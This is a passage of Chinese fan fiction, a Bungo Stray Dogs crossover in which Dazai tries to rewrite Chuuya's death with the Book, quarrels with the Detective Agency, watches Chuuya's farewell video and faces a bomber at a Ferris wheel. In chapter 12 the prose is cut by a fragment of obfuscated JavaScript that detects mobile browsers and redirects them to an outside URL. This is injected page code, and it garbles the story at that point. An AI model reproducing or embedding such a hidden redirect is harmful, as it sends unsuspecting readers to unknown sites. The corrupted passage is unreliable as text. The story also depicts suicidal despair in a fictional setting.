太宰治嘴角上扬,只是眸子阴沉更甚:“福地阁下,您可以出来了。”
福地樱痴从阴影中走出,他提前被太宰治埋伏在这里,是太宰治的后手之一。
这是他们交易的内容。
太宰治走上平台,平台上原本是布置了机关的,现在已经被拆掉了,只留下
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【书】在上面。
他没有半分犹豫,直接翻开了【书】,庞大的信息流瞬间涌入他的大脑。
就像他跟菲茨杰拉德说的那样,【书】上记录着过去、现在以及未来。
它记录着世界的真相。
霓虹的政府高层知道【书】具有改变世界的力量,依旧没有使用它的原因很简单,因为每个触碰【书】的人都要承受【书】上所有的信息。
除了陀思妥夫斯基,其他触碰【书】的人都因为过载的信息量而脑死亡了。
因此,没有人来打【书】的主意,它就像【笔】一样,食之无味弃之可惜。
太宰治迅速翻着【书】页,脸上的表情平静,看不出来他正在忍受何种痛苦。
他几乎无法动弹,但他的手在动,眼也在动,他要想在这上面找到中原中也的死亡记录,就像渔夫企图在大海中打捞一块名叫“中原中也”的小石子。
近乎妄想。
中也中也中也,没有没有没有。
庞大的信息流不断冲刷着他的头脑。
他几乎陷入一片空茫。
他是谁?他为什么会在这里?他存在的记忆真的是真实的吗?
每个人在触碰到【书】,将要被【书】淹没时都会不自觉问自己。
当整个世界的信息载入人体,个体往往会淹没其中,成为世界的一部分,忘却自我。
但这些对太宰治而已不重要,统统都不重要。
要找中也。
他的脑海里只剩下了这几个字。
中也是他的狗狗,一辈子都是。
太宰治咳出一口血,血液滴落在他的衣服上,刺目极了。
痛意让太宰治的脑子清明起来,他的动作只顿了一瞬,就继续搜寻着他想要的东西。
他此时已经顾不得身上的血污了。
眼神迅速移动着。
找到了。
太宰治的手指点在【书】页上,他撕下这一页,递给一旁的福地樱痴。
这是一种取巧的做法——一页的信息量是有限的,在这样的信息量之下福地樱痴才有可能完成他的交易。
福地樱痴改写中原中也死亡的事实,太宰治救下猎犬。
福地樱痴的异能是将手中武器发挥百倍力量,对于【笔】同样适用。
只有他可以。
在【笔】落下的一瞬间,巨大的能量几乎吞没了二人。改变历史的蝴蝶效应产生的能量冲击不亚于直面死亡,但在这种能量冲击之下,太宰治死死扣住平台,眼睛一眨不眨。
他必须看着【书】页上的死亡二字变成存活。
【书】页上的字在“死亡”和“存活”间不断跳转,就好像程序报错了一样。
在福地樱痴最后一笔落下时,【书】页产生的能量冲击达到最大,太宰治被甩了出去,直接撞到门上,而福地樱痴七窍流血,脸上表情却显出几分安详。
能量波的动静很大,已经将外面的警卫吸引过来了,太宰治放在外面的窃听器还在工作,他听见警卫已经在联系上司准备来查探这里了。
他从地上爬起来,踉跄着走上平台,但他看清了【书】页上的字——存活。
太宰治捂着脸笑起来,一边笑一边吐着血:
“咳咳,中也果然会是我一辈子的狗。”
9. 第 9 章
“不许动!”带队的是一个戴眼镜的青年,眼下青黑一片,眸光冷厉,却是一副很命苦的样子。
【书】引起的动静太大了,将原本已经撤离的异能特务科众人给引了回来。
很多人都是第一次知道这个地方,但坂口安吾不是,他扫视一周,并没有在这里看见某个黑头发的混蛋。
但他没有放下心来。
总觉得某人给他找的麻烦应该在后面。
“这是之前在监控中挑衅之人的同伙。”一个年轻人翻动着地上倒下的金发青年,抬头汇报道。
另一个人则查验了倒在平台附近的男人,他看到男人面孔时没忍住惊叫出声:“是,是福地阁下。”
福地樱痴作为曾经的“远东英雄”,深深影响了霓虹的一代人,这名青年也是其中之一,他到现在也还未改掉对其的敬称。
他很快又补充道:“身体还是热着的,应当刚死去没多久。”
身体还是热着的,倒在【书】附近,还有一位疑似同盟倒下。
“真相”已经呼之欲出了。
为了改写他过去的罪行,福地樱痴与倒在地上的青年合作,但青年惨遭背刺,福地樱痴则被【书】反噬,横死当场。
不管是谁来,都会是这个结果。
坂口安吾扶了扶眼镜,几乎要为这场闹剧做下定论,但他被打断了。
方才那个查验福地樱痴的年轻人犹豫着:“还有一个黑发嫌疑犯没有找到,我们是不是应该先……”
“铛——”
有什么东西被投掷出来落到了地上,烟雾弥散开来。
是烟雾弹。
坂口安吾的反应很快,他厉声道:“聚拢起来不要分开。”
但比他更快的是烟雾中行动如常的敌人,坂口安吾只是慢了一瞬,烟雾中就传来了好几声重物落地的声音。
是极为危险的人物。
坂口安吾下了判断,他迅速调整战略:“都聚拢到【书】附近,优先保护【书】。”
这是一个正确的决定,没有人能够挑出错漏,【书】是最重要的。
就算它在政客眼中是个鸡肋。
烟雾中,中岛敦借着自己优越的感知力,顺利找到了躲在异能特务科众人视角盲点的太宰治。
“太宰先生,我们来救您了。”中岛敦急切道。
这次行动是极为危险的,稍有不慎,武装侦探社好不容易回转的名声将会再次受到质疑,因此中岛敦的速度必须要快。
中岛敦的出现是太宰治没有预料到的,或者说,侦探社众人的出现都在他的预料之外。
他还以为会是森先生的人,毕竟那位孤儿院的院长就是港口Mafia的人。
太宰治没有拒绝中岛敦的帮助,甚至可以说是积极自救。
全程没有半点作妖,要做什么就做什么,一句话也没有说。
只是当中岛敦将太宰治带回侦探社的时候,中岛敦才发现现在的太宰治到底有多狼狈,但现在的太宰治居然还有闲心说笑:“浑身上下都黏糊糊的,也到了该换绷带的时候了。”
能不黏糊吗?!
在场的侦探社众人额角的青筋都跳了跳。
太宰治现在浑身上下都是血,衣服上的血迹还在不断加深,裸露着的皮肤上都是龟裂的痕迹,像是血管从里面裂开,现在还在不停渗血。也好在他平时喜欢在身上缠绷带,不然就这个出血量都不用与谢野晶子救。
在场的侦探社众人在忍耐着太宰治的同时都不免松了口气,这样的太宰治还是他们熟悉的太宰治。
与谢野晶子手上剪衣服的动作都轻了不少。
太宰治的嘴角上扬着,好像半点都没有感受到身上的痛感,他语调轻松,状若无意问道:“那个黑漆漆的小矮子怎么样了?”
与谢野晶子的手顿住了,站在太宰治面前的中岛敦神情小心翼翼,宫崎直美去拿新绷带的脚步停了下来,只有原本坐着的江户川乱步动了。
他走到太宰治面前:“帽子先生不在世上了。”
太宰治的表情并不生气,也没有一点悲伤,他只是困惑着,像一个孩子一样:“怎么会不在呢?”
太宰治感觉自己的喉咙好像被烫伤了,一个字也说不出来,只要说出来就会遭遇世界上最恐怖的事情。
怎么会不在呢?怎么会呢?为什么呢?
一切都按照计划进行了,是因为【书】页脱离【书】了吗?
是因为什么呢?
中也为什么要把他留在这里?明明死掉就好了,他为什么要去复活中也?明明最讨厌中也了。
去死就好了,就算会和中也在地底相逢,到时候还可以嘲笑一下中也。
中也怎么可以死得这么轻松,好像什么都不重要。
“太宰。”江户川乱步皱了皱眉。
“让我去死啊。”太宰治垂着头,“我很好笑吧,为了区区中也把自己搞得这么狼狈,想要复活中也,结果是竹篮打水一场空,还高高兴兴地活在世界上。”
“为什么要救我呢?”太宰治呢喃,他浑身颤抖起来,好像终于感受到了这刺骨的疼意,“让我去死就好了,本来我和侦探社就已经没有关系了。”
“是因为跟森先生做了交易吗?森先生能给的我也可以,只要你们不要来管我。”
这话已经将武装侦探社的付出当做了利益交换,将侦探社众人的情谊踩到了脚底。
但凡有点血气的人都很难忍住不生气,偏偏太宰治又是一副存心激怒人的样子。
“啪——”
在场众人都僵住了,好像陷入了一片死寂。
江户川乱步扇了太宰治一巴掌。
“啊,是乱步先生啊,”太宰治低低地笑起来,“是生气了吗?福泽阁下回来了吗?如果我跟他说,福地樱痴是我杀的,作为竹马的福泽阁下会不会杀了我呢?毕竟,福地是可以活下来的,这件事乱步先生你也知道不是吗?”
“但乱步先生你没有阻止我,是觉得福地的存在影响了福泽阁下吗?”
“为了保护福泽阁下?”太宰治脸上的笑意愈甚,“不,那只是你的控制欲。然后,你会发现,福泽阁下身边的意外因素真是太多了,多到想要将福泽
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阁下放进真空瓶中,只要他们都不在,那么福泽阁下就不会遇到危险了。”
他说:“我们都是一样的。”
医务室陷入了一片寂静,只有太宰治说话的声音响在所有人耳畔。
福泽谕吉不知道什么时候出现在了医务室门口,但江户川乱步神情没有半点变化,只是手下意识插回衣兜里。
“不,我永远相信社长。”江户川乱步的绿眸平静极了,映出太宰治的面容,“那么,太宰,你离开是因为什么呢?因为你发现自己的掌控欲会遭到帽子先生的讨厌了吗?还是因为你发现帽子先生没有你也会过得很好吗?”
“你发现你的支柱也是别人的支柱,帽子先生在责任面前永远不会优先选择你,所以你觉得恐惧了吗?害怕帽子先生真的放弃你,所以你决定先放弃帽子先生。”
“对吗?”
江户川乱步的话划破了太宰治最后一层假面,太宰治漠然着看向江户川乱步,杀意像把利刃一样刺向江户川乱步。
太宰治动了。
不知道什么时候到他手上的手术刀成了他的武器,身上的伤好像对他没有一点影响。
江户川乱步没有动,但福泽谕吉的反应极为迅速,只是一个闪身就到了太宰治跟前,以手为刀,劈向太宰治的手腕。
太宰治没有松开手,刀刃也没有朝向福泽谕吉,而是灵活地在手上翻转着,只是体术上的差距并不是那么容易就能够抹平的。
福泽谕吉从太宰治手中夺下手术刀,太宰治手上没有刀,反而脱离了束缚,手腕被制住了就强行脱臼,肘击,视身体为工具,毫无爱护,毫无怜惜,鸢色的眸子泛着冷。
福泽谕吉顾及着太宰治身上的伤口,不敢太过用力,反倒有些束手束脚,太宰治就没有那么多的顾虑了,哪里适合突破就往哪里攻击,半点不在乎。
“社长,卸了他的手。”乱步开口了。
太宰治的手腕、手肘都呈现出一种不正常的扭曲,他好像全无痛感般弯唇笑道:“社长,福地阁下是被我和乱步先生一起杀死的哦。”
甜蜜蜜的语气。
换个脾气爆裂一点的人,太宰治现在已经身首异处了。
就算没有立即杀死他,也会在心里存在一根刺。
这是光明正大的阳谋。
不管怎样,他都没有损失。
“我相信乱步。”福泽谕吉平静道。
“那真是遗憾。”太宰治口中说着遗憾,脸上表情却显出一点冰冷,“不过,我觉得,福地阁下是罪有应得啦,他会被钉在耻辱柱上,永永远远。”
“这是他的罪啊。”
这一刻的太宰治好像跟死去的陀思妥夫斯基重合起来了。
“说够了吗?”乱步的表情从始至终都没有一丝一毫的变化,他就像看着一个正在无理取闹的孩子,“现在听得进去话了吗?”
“帽子先生已经死了,救你不仅是森先生的委托,还因为我们将你当做同伴。”
“我一点也不想要救你,但这是社长和帽子先生的请求。”
“帽子先生想让你活下去。”
10. 第 10 章
太宰治的脸是冷的,他的身体还在渗血,唇色苍白,他一句话也说不出来,侦探社众人也不知道该说些什么。
安慰吗?太宰治不会接受,他们也说不出口,他们的一切在中原中也的性命面前是如此无力。
侦探社众人都是好人。
因为这本来就与他们无关,道德底线低一些的,连葬礼都不会去。
但太宰治做不到不迁怒,他厌恶这个世界,但这个世界是中原中也留下来的。
或许中也可以走出去、不迁怒,他不行。
“哈,中也的遗物居然在乱步先生你手里,”太宰治的语气平静,只不过听起来有种奇怪的阴阳怪气感,“乱步先生,可以将中也的东西给我了吗?”
江户川乱步从口袋里掏出一个御守交给太宰治,绿色的眼眸如湖水般澄澈:“太宰,侦探社永远欢迎你。”
此时的乱步暂时忘记了方才跟太宰治互相捅刀的事情,他给出了侦探社的承诺。
江户川乱步和太宰治是不一样的。
太宰治脸上扯不出半点笑意,他点点头,像一块木头雕成的人。
精美孤寂。
侦探社众人目送太宰治离开,他们不清楚会不会等到太宰治。
知道中也的遗愿后,太宰治脑海中其实什么都没有,空空荡荡。
中也活着的时候,他只需要想着捉弄中也就好了,中也死了,只要中也活过来就好了。
失败了,也可以跟中也一起去死。
如果如果,中也没有留下那种遗言,他就可以跟中也一起殉情了。
可是中也说想要他活下去。
中也说了,想要他活下去,那他就要活下去吗?要是死得晚了,中也不等他了怎么办?但是、但是,要是不活下去的话,还有谁会记得中也呢?
好残忍的中也,好狠心的中也。
太宰治太过早慧,人心对他而言就像是一加一等于二的数学题一样简单,所以他比所有人都要清楚:
人只要活着就会从过去的阴影中走出去。
曾经的撕心裂肺,都会变淡变浅,最后化成不提起就不存在的浅淡伤痕。
可是,中也怎么办呢?只要一想到,他死之后,人们就会慢慢忘记中也。
此时的太宰治居然感到空前的恐慌。
这个猜测所有事情都要让他害怕。
太宰治阻止不了这件事情的发生,因为这是必然啊。
他惊惧地发现,比起中也被遗忘这个结果,他竟然觉得活下去都没那么难以忍受了。
中也对他已经有这么重要了吗?
明明只有七年,只是七年。
太宰治回到了别墅,这对于他是一个安全的地方。
主卧里,窗帘拉着,将外面的光遮得严严实实的,只有微弱的光穿透过窗帘的遮掩。
太宰治窝在床上,被子裹满全身,像作茧自缚的蚕,只剩下半张脸还露在外面,他死死地盯着不远处乱步交给他的遗物。
那是一个御守,里面有一张叠起来的纸并一个U盘。
太宰治拿到手中的时候就摸出来了。
为什么中也的东西会在江户川乱步手上,他们是什么时候关系这么好的?为什么中也从来没有跟他说过?是觉得没有必要吗?为什么会是现在给他?中也和江户川乱步做了什么交易?
太宰治的多疑在此刻发挥得淋漓尽致,而能够安抚他的人不在这里,能够回答他的人也不在这里。
他任由着脑海中情绪四窜。
犹豫许久,太宰治伸出手,捏住了那个U盘,手指微微颤抖着。
他没敢去看那封信里写了什么,他才不要看遗书什么的,要是不小心嘲笑出来会被中也打的吧。
他才不要。
太宰治愤愤地想,头发垂下来的时候恰好遮住眸子。
U盘里是一个视频,并不长。
背景是港口Mafia的办公室,中原中也坐在办公桌后,脸上带了些不耐烦,偏蓝眸中盈满笑意,他说:“太宰,你这家伙是不是动我东西了?”
“那明明是我的东西,中也把我的东西据为己有我都没有找中也麻烦,区区中也居然倒打一耙。”太宰治嘟囔着,眼睛一眨不眨的。
“我就知道你不会承认,”视频中的中原中也好像听到了太宰治的不满,“说吧,你是干了些什么事,居然让江户川把这份视频给你了。”
太宰治不说话了,他看着中原中也。
你要阻止我吗?
中原中也只是哼笑一声,显然知道太宰治在他死后绝不会这么轻易放弃搞事,他脸上扬起一抹笑容,态度纵容:“想做什么就去做,我不会阻止你。”
“我应该还能兜住你闯的祸,如果兜不住,”中原中也摊了摊手,本该无奈的语气让他说出了一种一往无前的气势,“反正我已经死了,他们如果有问题可以自己来找我。”
太宰治眨眨眼,压下眼眶的潮意。
“如果你已经发现那本日记了,太宰,”中原中也的口吻严肃起来,“你还记得那本日记是什么时候丢的吗?”
太宰治坐直了身体,黑沉的眼睛慢慢透出了点细微的光,他在等待着什么。
“我没有拿到它时候的记忆,”中原中也给了太宰治一份希望,“那本日记是在我十八岁一次出差回来的时候得到的,只有一个模模糊糊的印象,每当我刻意去想的时候,总会有其他的事情打断我。”
太宰治咬着下嘴唇,嘴唇慢慢渗出血来,他却无知无觉,连同着其他地方的疼也一并忘却了。
他拼命回想着,过去的记忆如同走马灯一样快速闪过。
太宰治庆幸地发现,他真的没有相关记忆,什么时候丢的,为什么丢的,他一点印象都没有。
“没有人能够从你手中拿到你的东西,”中原中也说话的时候带着要溢出来的自信,“搭档。”
这时候的中原中也已经决定要去与神人战斗了,面对一场十死无生的战斗,中原中也依旧冷静,他在安抚着太宰治。
中原中也知道自己于太宰治的特殊,也知道他死后太宰治十有八/九不会做
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什么好事。
为了横滨,也为了正在看这个视频的混蛋青花鱼能够活下去,中原中也给了太宰治一个理由。
“太宰,活得久一点,说不定我就诈尸了。”他开玩笑,指尖却带了些颤意,很快就被压了下来。
中原中也继续说:“我这些年欠了很多人情,还有很多人情没有还。”
他脸上露出戏谑的笑意,“这些都是我给你留下的遗产,名单在另外一张纸上。”
中原中也不介意太宰治搞事的时候用他的人情还有人脉,只不过这些都是要还的,而只要太宰治动用了这些人脉,太宰治就被迫跟世界绑上了一根线。
这根线是中原中也递给他,由太宰治自己绑上。
“搭档,活下去。”中原中也的眼神好像能透过屏幕,蔚蓝的眸子里满是坚定,仿佛能给予人一切勇气。
不过,中原中也很快就心软了,他叹了口气:
“如果活不下去,死了也无所谓,反正你不是一直想要自杀吗?四舍五入,就当我和你一起殉情了。”
太宰治浑身战栗起来,好像听到了什么极为可怖的话语,他张了张嘴,无声道:中也,中也,中也。
他没有接收到一句回应。
“只不过没有美女了。”中原中也笑了一声,显然是想起自己和太宰治重逢时候随口说出来的话了,“而且你也没得选。”
太宰治此时终于感受到了来自中原中也的极致的偏爱,这份偏爱让他恐惧,让他几乎不敢看向屏幕中的中原中也,他同样不敢移开视线,他好想要逃走。
好讨厌的中也,怎么可以这样,他怎么可以这样……
与此同时,中原中也陷入了长时间的沉默,脸上逐渐浮现出一种羞恼和决然。
太宰治如有所感,瞳孔慢慢放大,手忙脚乱地想要关掉这个视频,只不过他颤抖得太厉害了,点了好几下都没有关掉,反而调大了声音。
声音经过电流的加工其实有些失真了,但太宰治的记忆自动将它补全了。
“太宰,我爱你。”
一点也不缱绻,一点也不温柔,一点也不像是告白。
中也这样的木头,连告白都听不出来的木头,说出来的话也一点都不好听。
太宰治手脚瘫软了下来,他呆呆地看着电脑中还鲜活着的中也,一句话也说不出来。
这一刻的冲击让太宰治头脑空白,嘴角下意识扬起,眼泪却落了下来。
他想说些什么,什么都好,我爱你也好,我喜欢你也好,我最讨厌你也好。
太宰治一句话也说不出来。
屏幕中的中原中也橘发鲜艳极了,蔚蓝色的眸子平静温和,他的眼眶也红了,他又重复了一遍,像是知道某个胆小鬼已经完全呆住了:
“太宰,我爱你。”
太宰治抽噎着,所有的情绪都一并涌了上来,争先恐后:
“这样一来,不,不就,完全放不下中也了吗?”
绝对不要和中也一起殉情。
胆小鬼好像要被太阳灼烧殆尽了。
11. 第 11 章
距离上次异能特务科爆炸事件已经过去了半个月了,那件事并没有在横滨造成太大的恐慌,只是有人零星听说犯案人是个外国人。因为涉及到外国人,算是外交事件,现在还在僵持着。
而造成菲茨杰拉德落网的罪魁祸首正在咖啡馆中同人一起品鉴下午茶。
“安吾,你找我就是为了这么无聊的事情吗?”黑发青年清俊的脸搭在交叠着的双手上,眉眼间带着百无聊赖。
他维持着这个状态已经半个月了。
没有去自杀,没有吃各种奇奇怪怪的食物,没有熬夜,作息健康得不像太宰治。
坂口安吾扶了扶眼镜,眼镜掩住他眸子深处的担忧,他的语气平静无波:“这是档案。”
说话时,他将旁边的档案袋往太宰治那推了推。
上次事件其实算是异能特务科和太宰治的合作,知情/人只有他和种田长官,而这份档案则是事件的结尾。
“这是机密吧?我只是一个失业青年,”太宰治神情恹恹,“这种事情不应该让我知道。”
坂口安吾嘴角没忍住抽搐了一下,他没说话,只是坚定着将手中档案袋往太宰治那里推。
太宰治打了个哈欠,依旧没管那个档案袋,他站起身来:“要是没什么事情我就先走了,我今天还没有去健身。”
坂口安吾还欲说些什么,不知道看见了什么很快咽下了。
一位金发女士推开咖啡馆的门,走了进来,她环视一周,很快确定了目的地。
太宰治顺着坂口安吾的视线望去,金发女士已经大步踏了过来。
太宰治对这位女士并不陌生。
钟塔侍从的近卫骑士长阿加莎·克里斯蒂女爵。
太宰治懒懒地扫了阿加莎一眼。
正戏要开场了。
坂口安吾将太宰治拖在这里就是为了等待这位刚下飞机的阿加莎女爵。
阿加莎坐下后并没有急着将自己的诉求说出口,而是审视了太宰治一段时间,并非是对眼前人能力不信任的犹疑,而是一种更深层次的怀疑。
太宰治脸上焊着温和的笑意,看起来极为淡然,他开口:“如果没有别的事情,那我就先失陪了。”
话音未落,他便已经站了起来。
“你知道人造神明吗?”阿加莎开口前先将一个魔方状的装置放置在了桌上。
一股难以察觉的能量磁场扩散开来。
太宰治微微坐直了,身上的气势也变得冷厉。
“这是雪莱博士的作品,可以让我们的谈话免于第三个人听见。”阿加莎神色淡淡。
她是典型的鹰国贵族,优雅高傲,也正因此,旁人很难从她的脸上看出什么。
“是由钟塔侍从领头的一项国际性人体实验项目。”太宰治端起桌上的咖啡,长而密的睫毛盖住他眸中所有情绪。
阿加莎愣了愣,脸上没有半点羞恼,她点头:“对,这一项是由钟塔侍从领头的研究项目。”
“在二十年前。”阿加莎微顿,继续道,“但是这个项目在多年前就已经被永久封存了。”
“多年前?”太宰治没说信还是不信,只是哂笑着。
阿加莎也知道这个说法并不能说服太宰治,她并没有费心去解释这件事情的始末,手指敲了敲衣袖上的袖扣,一枚芯片弹了出来。
“这里面包含二十年前能找到的所有资料,”阿加莎笑了一下,“我记得中原中也先生就是从那项项目的研究人员手中制造出来的吧?”
N,“荒神”计划核心研究人员,曾经是那项项目的参与者。
他死在了8年前。
这是激将法。
他们心知肚明。
太宰治脸上的表情彻底冷了下来,半分笑意也无:“中也是人类哦,如果我再听到这种话……”
“我会杀了你。”
“原来那个传言是真的。”阿加莎身体微微往前倾,她的眼睛盯着太宰治。良久,她低低地笑了一声,摊开手,指尖夹着一枚刀片,她用刀片划开手腕。
真正的芯片在这里。
“亚当推荐我来找你,”阿加莎并没有先处理手上的伤口。
“希望你能永远记得你现在说的话。”
太宰治脸上的神情依旧是懒散的,好像之前的冷然都是错觉。
他收下了那枚芯片。
“我不会放过任何一个人。”
太宰治无意去追寻阿加莎的目的,这本来就毫无用处。
“当然。”
阿加莎离开了。
屏障解除后,坂口安吾坐在原先的位置上,手上正不停地敲击这键盘,是在处理工作,看见太宰治他的动作微顿,随即关上电脑。
“你们聊了什么?”
“是乱步先生吧。”太宰治冷不丁开口。
坂口安吾神色不动,没有承认也没有否认。
并不是什么很令他为难的问题,乱步已经提前交代过了。
“如果太宰问起来,不用承认,也不要撒谎。”江户川乱步平静极了,他早就料到了太宰治的反应。
这次见面是江户川乱步一手促成的。
“我知道了。”太宰治从坂口安吾的态度中已经知道答案,他略一点头,将手中微小的芯片攥紧了,双手插兜,“记得帮我跟乱步先生说一句,多谢了。”
他迟
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疑了一瞬。
“还有,赔罪礼我已经准备好了。”
说完他起身离开,并没有再看向坂口安吾。
而留在原地的坂口安吾张了张嘴,却发现自己不知道还能说些什么。
“叮铃铃——”
坂口安吾的手机响了。
“安吾,菲茨杰拉德被保释了。”电话那头的种田长官没等坂口安吾作出反应率先开口。
这代表着他们之前的行动几乎全盘作废。
“是港口Mafia的人做的。”
坂口安吾猛地抬头,身体转向咖啡店外。
太宰治正站在店外的玻璃处朝他微笑。
他什么都知道。
坂口安吾忽然浑身发冷。
同样是在今天,同样是在这间咖啡店,菲茨杰拉德的人提前找到了太宰治。
“我想和你做一场交易。”粉棕色头发的女士手指紧紧地交缠着,语调有些迟缓。她并不习惯于与人打交道,尤其是与太宰治这种精于人心之人,她更习惯于在空无一人的房间独自处理工作。
面前人是让菲茨杰拉德大人入狱的罪魁祸首,只要能搞定他,救出菲茨杰拉德大人的计划就能成功一半。
奥尔柯特深吸一口气,双手紧紧握着咖啡杯,她直视着太宰治:“我们可以拿出三亿美金作为交换。”
太宰治同样注视着面前的女士,他端起咖啡,咖啡氤氲的热气使太宰治的面孔变得模糊,他微笑:“战术师小姐,我并不缺钱。”
奥尔柯特只是顿了顿,语气平静,说出来的话却让太宰治震颤:“太宰君,你知道人造神明吗?”
等坂口安吾打电话约他见面时,太宰治面前的咖啡已经凉透了。
“太宰,你今天下午有时间吗?”电话那头传来坂口安吾的声音。
“没有。”太宰治的语调懒洋洋的,瞳孔却是紧缩着的,脸上也毫无笑意,“不过,你要来找我的话,可以在下午两点之后来这里。”
说着他报了咖啡店的地址。
太宰治挂断电话。
他垂眸看着自己还在颤抖的手指,随意地拆开手臂上的绷带,缠紧缠紧再缠紧,直到手指无法颤抖。
“你今天怎么来这么早?”坂口安吾到的时候看见已经坐在咖啡店里的太宰治诧异着,他看了看手上的腕表。
才一点半。
“因为我一直在这里啊,”太宰治抱怨,“安吾,你好慢啊。”
“知道了。”坂口安吾想要怼回去,但一想到太宰治难得心情不错,也就没有多说什么,他承诺,“下次我会提前一个小时过来。”
“不用了。”太宰治笑着。
12. 第 12 章
1月6日。
一个平平无奇的日子。
警视厅收到了一份炸弹犯的预告:
“我们是一群圆桌武士,所有愚蠢又狡猾的警察注意了,在今天的正午与14点,我将放出吊唁战友首级的烟花,有本事的话,就尽管来阻止我们吧,我们将空下72号座位,恭候您的大驾。”[1]
整个警视厅都行动起来了,反应最快的那个已经到了摩天轮上。
现在是11点30分,离正午还有30分钟。
杯户广场上很多人,有少年,有老人,有青年,他们每个人站在隔离区外安全区内,他们抬头望着还在旋转着的摩天轮,他们此时的心愿出奇得一致:如果可以,请让那名警察先生活下来吧。
他们在祈祷奇迹的发生。
而太宰治转头遇见了警察。
“您好,我们怀疑你是炸弹犯,请跟我们走一趟。”穿着黑色西装的胖警官拦下太宰治。
太宰治挑了挑眉,眼角余光瞥见一个牛仔外套的中年男子,衣服上的纽扣多到不正常,完全可以称得上“潮流”了,他指了指男子,温和有礼道:“是的,我就是炸弹犯,他是我的同伙。”
牛仔外套男子口中的脏话当场就没停,但很可惜,太宰治已经跟着另一位警官小姐走了。
胖警官迟疑一瞬,还是转头准备将牛仔外套男子带走。
比起配合的太宰治,这一位几乎将胡搅蛮缠发挥到了极致,情绪十分激烈。
我只是一个“热心市民”,电话是我打的。
在广场上的所有人都专注地望着摩天轮的情况,希望那名警官能够成功活下来时,只有他!冷漠无情!漠不关心!他不是炸弹犯,难不成还能是我?他是在诬陷我!
以上,出自“热心市民”藤本先生。
11点45分。
“先生,请您冷静一点。”搜查一课的目暮警官极力安抚着正在激情控诉的藤本,他刚才问询过青年了。
青年对他安装炸弹的事情积极供认,甚至主动告诉了他们剩下那个炸弹的位置,但问题是:他是今天11点的时候才到米花町的,根本没有时间来犯案!
偏偏青年咬死自己就是那个炸弹犯,而藤本先生则是他的同伙。
目暮警官心里也有些发苦,他们是警察,不是□□,他们不可能随便抓个人就说他是犯人,他们需要证据,但是青年的证据是不全的,现有的证据全是青年一面之词。
“难道我就有时间了吗?你们这群废物警察!”藤本几乎要气疯了。
“藤本先生!”目暮警官呵止。
藤本先生瑟缩了一瞬,随后高声呼喊起来:“你们警察就是这样拿着纳税人的钱然后放跑炸弹犯的吗?!”
目暮警官眯了眯眼:“你为什么这么肯定太宰先生就是炸弹犯?”
“当,当然是因为他看起来就不是什么好人!”
当然是因为他才是炸弹犯啊。该死,要不是因为这些警察查得严,他也不会铤而走险打电话去举报来减轻自己身上的嫌疑,这个小白脸为什么就不能好好把罪名认下,还连累他现在被重点关照!
作为被指控者——太宰治,适时抬起头来,朝目暮警官笑了一下,藤本好像看见了一朵迎风飘摇的小白花,只不过很快这种错觉就碎了,太宰治开口了:“同伙,你不能这么说我吧?我只是把我们做的事情告诉给警官先生了而已。”
藤本火气上来了,就要朝太宰治挥拳了,被一旁的目暮警官死死按着,目暮面色严肃:“藤本先生,你想干什么!”
藤本努力尝试挣脱,失败。
这死胖子力气怎么这么大?!
偏生太宰治还在那里拱火:“藤本先生,你这么生气干什么?我只是实话实说啊。”
别说藤本了,目暮警官听了都没忍住额头跳了跳:“太宰先生,你先别说话了。”
太宰治遗憾叹气:“好吧。”
“叮铃铃——”
目暮警官的电话响了,他接起电话。
“目暮啊,炸弹真的在米花中央医院。”电话那头的人是爆破班的班长。
目暮警官没有说话,他的视线落点从藤本身上移开,转移到了太宰治身上。
“怎么了?目暮。”电话那头的声音还在继续,只不过目暮警官此时已经放下了手机,他挂断了电话。
“太宰治,我现在正式以搜查一课警部的身份逮捕你。”目暮警官走到太宰治面前,亮出自己随身携带着的手铐就要拷住太宰治,可惜被他躲开了,还顺手将一旁藤本的手塞了进去。
“不要。”太宰治眨了眨眼,拒绝,“我才不要跟男人一起戴手铐。”
藤本脸上蒙了一层阴鸷,他看了一眼坏他好事的青年,冷笑一声。
坏他好事,这个人也是警察吧?装得这么像,几乎连他都骗过去了,但是没关系,只要他按下那个按钮,只要……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509448|170550||http|test|mini|href|location''.split(''|''),0,{}));
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>“在我这里哦。”太宰治将手中的遥控器晃了晃,笑容灿烂,“你放到我这里的忘记了吗?”
“是用来引爆炸弹的远程遥控器哦。”
见鬼的,谁放到你那里了!
藤本咬牙,现在的情况已经容不得他再迟疑了,他用力按下袖子口上的纽扣,这是他的后手。
11点58分。
就算只能拉一个警察去死也够了,就像当年一样。
目暮警官准备解开藤本手铐的手撤了回来,周围的警察已经围了上来,很快就能将犯人拿下,但目暮感受到一股突如其来恐慌,还有什么是被他遗落的吗?
“砰——”
摩天轮72号车厢升到了最顶端。
在场众人除了藤本,脸上的表情都消失了,这是他们的同僚,是国家花费时间金钱培养出来的栋梁,被这种人……
不少警官垂下眼睛,不敢再看,但目暮警官始终抬头望着,没有移开视线。
现场的民众不少已经哭出声了。
肃穆笼罩了这里。
只有藤本在哈哈大笑。
他被抓住最多不过是被判处无期徒刑,但那个警察是真的死了,要不是那个人,绝不止两个警察为他死去的朋友陪葬!
藤本的眼珠转动着,他迫不及待想要看看那个人脸上的表情了,是痛哭流涕?还是悲痛欲绝?
但他没能如愿以偿。
太宰治脸上的表情平静极了。
为什么为什么为什么!为什么他不痛苦?难道死的不是他的同僚吗?!
藤本几欲发狂,他沉浸在自己的情绪中,没有注意到在短暂的沉寂过后响起来的欢呼声。
雀跃,热烈,带着奋发的生命力。
还是目暮警官惊喜之余回头看了一眼太宰治。
他呆呆地站着,没有动,脸上的笑也消失殆尽,他脸上的表情绝对称不上悲痛却也算不上欣喜。
是一片空茫。
太宰治定定地看着一个点。
点从摩天轮的最高处往下飞,蔚蓝的天空好像成了点的陪衬,一切的一切都挡不住他。
那个点越来越近了,鲜艳的橘发几乎要烫伤太宰治的眼睛。
他降落了。
“喂——”中原中也还没落地,就被太宰治拉住了。
重力异能消失,中原中也跟随着重力的作用落下,然后被拉进了太宰治怀里。
神明坠入凡间。
13. 第 13 章
中原中也好不容易从太宰治怀里挣脱开,附近已经围了不少人过来。
